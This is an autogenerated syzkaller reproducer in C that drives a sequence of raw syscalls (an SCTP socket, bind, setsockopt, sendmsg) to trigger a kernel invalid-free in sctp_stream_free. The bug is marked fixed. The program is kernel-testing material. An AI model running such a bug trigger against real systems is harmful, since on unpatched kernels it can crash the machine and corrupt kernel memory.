syzkaller-repros/linux/9f5c59939d107d15af692ca1751fdf52cd669e88.c

// KASAN: invalid-free in sctp_stream_free
// https://syzkaller.appspot.com/bug?id=9f5c59939d107d15af692ca1751fdf52cd669e88
// status:fixed
// autogenerated by syzkaller (https://github.com/google/syzkaller)

#define _GNU_SOURCE

#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

uint64_t r[1] = {0xffffffffffffffff};

int main(void)
{
  syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
  long res = 0;
  res = syscall(__NR_socket, 2, 0x80001, 0x84);
  if (res != -1)
    r[0] = res;
  *(uint16_t*)0x20000000 = 2;
  *(uint16_t*)0x20000002 = htobe16(0x4e20);
  *(uint32_t*)0x20000004 = htobe32(0x7f000001);
  syscall(__NR_bind, r[0], 0x20000000, 0x10);
  *(uint16_t*)0x20000040 = 0;
  *(uint16_t*)0x20000042 = 1;
  *(uint16_t*)0x20000044 = 0;
  *(uint16_t*)0x20000046 = 0;
  syscall(__NR_setsockopt, r[0], 0x84, 2, 0x20000040, 8);
  *(uint16_t*)0x20000180 = 8;
  *(uint16_t*)0x20000182 = 4;
  *(uint32_t*)0x20000184 = 0x8001;
  *(uint32_t*)0x20000188 = 0xff;
  *(uint32_t*)0x2000018c = 0;
  syscall(__NR_setsockopt, r[0], 0x84, 0x22, 0x20000180, 0x10);
  *(uint64_t*)0x2001afc8 = 0x20006000;
  *(uint16_t*)0x20006000 = 2;
  *(uint16_t*)0x20006002 = htobe16(0x4e20);
  *(uint32_t*)0x20006004 = htobe32(0x7f000001);
  *(uint32_t*)0x2001afd0 = 0x80;
  *(uint64_t*)0x2001afd8 = 0x20007f80;
  *(uint64_t*)0x20007f80 = 0x2000a000;
  memcpy((void*)0x2000a000, "\f", 1);
  *(uint64_t*)0x20007f88 = 1;
  *(uint64_t*)0x2001afe0 = 1;
  *(uint64_t*)0x2001afe8 = 0;
  *(uint64_t*)0x2001aff0 = 0;
  *(uint32_t*)0x2001aff8 = 0;
  syscall(__NR_sendmsg, r[0], 0x2001afc8, 0);
  return 0;
}